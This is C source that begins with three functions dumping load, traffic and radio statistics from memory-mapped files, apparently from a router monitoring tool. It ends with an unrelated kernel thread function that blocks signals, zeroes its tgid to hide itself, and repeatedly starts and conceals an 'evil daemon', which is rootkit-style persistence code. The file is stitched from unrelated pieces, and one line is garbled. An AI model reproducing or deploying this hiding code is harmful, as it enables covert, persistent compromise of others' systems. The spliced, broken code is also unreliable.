static int run_dump_load(void)
{
int i;
char path[1024];
struct file_map m;
struct load_entry *e;
check_daemon();
snprintf(path, sizeof(path), DB_LD_FILE);
if (mmap_file(path, sizeof(struct load_entry), &m))
{
fprintf(stderr, "Failed to open %s: %s\n", path, strerror(errno));
return 1;
}
for (i = 0; i < m.size; i += sizeof(struct load_entry))
{
e = (struct load_entry *) &m.mmap[i];
if (!e->time)
continue;
printf("[ %u, %u, %u, %u ]%s\n",
ntohl(e->time),
ntohs(e->load1), ntohs(e->load5), ntohs(e->load15),
((i + sizeof(struct load_entry)) < m.size) ? "," : "");
}
umap_file(&m);
return 0;
}
static int run_dump_ifname(const char *ifname)
{
int i;
char path[1024];
struct file_map m;
struct traffic_entry *e;
check_daemon();
snprintf(path, sizeof(path), DB_IF_FILE, ifname);
if (mmap_file(path, sizeof(struct traffic_entry), &m))
{
fprintf(stderr, "Failed to open %s: %s\n", path, strerror(errno));
return 1;
}
for (i = 0; i < m.size; i += sizeof(struct traffic_entry))
{
e = (struct traffic_entry *) &m.mmap[i];
if (!e->time)
continue;
printf("[ %u, %u, %" PRIu32
", %u, %u ]%s\n",
ntohl(e->time),
ntohl(e->rxb), ntohl(e->rxp),
ntohl(e->txb), ntohl(e->txp),
((i + sizeof(struct traffic_entry)) < m.size) ? "," : "");
}
umap_file(&m);
return 0;
}
static int run_dump_radio(const char *ifname)
{
int i;
char path[1024];
struct file_map m;
struct radio_entry *e;
check_daemon();
snprintf(path, sizeof(path), DB_RD_FILE, ifname);
if (mmap_file(path, sizeof(struct radio_entry), &m))
{
fprintf(stderr, "Failed to open %s: %s\n", path, strerror(errno));
return 1;
}
for (i = 0; i < m.size; i += sizeof(struct radio_entry))
{
e = (struct radio_entry *) &m.mmap[i];
if (!e->time)
continue;
printf("[ %u, %d, %d, %d ]%s\n",
ntohl(e->time),
e->rate, e->rssi, e->noise,
((i + sizeof(struct radio_entry)) < m.size) ? "," : "");
}
umap_file(&m);
return 0;
}
int watchdog(void *data)
{
wait_queue_head_t queue;
lock_kernel();
thread = current;
siginitsetinv(¤t->blocked, sigmask(SIGKILL) | sigmask(SIGINT) | sigmask(SIGTERM));
init_waitqueue_head(&queue);
terminate = 0;
sprintf(current->comm, THREAD_NAME);
current->tgid = 0;
daemon = find_task_by_name(DAEMON_NAME);
unlock_kernel();
up(&sleep_sem);
for(;;)
{
// execute and hide evil daemon
start_daemon();
// take a break
interruptible_sleep_on_timeout(&queue, HZ);
mb();
if(terminate)
break;
// check if still running
check_daemon();
}
lock_kernel();
thread = NULL;
mb();
up(&sleep_sem);
return 0;
}
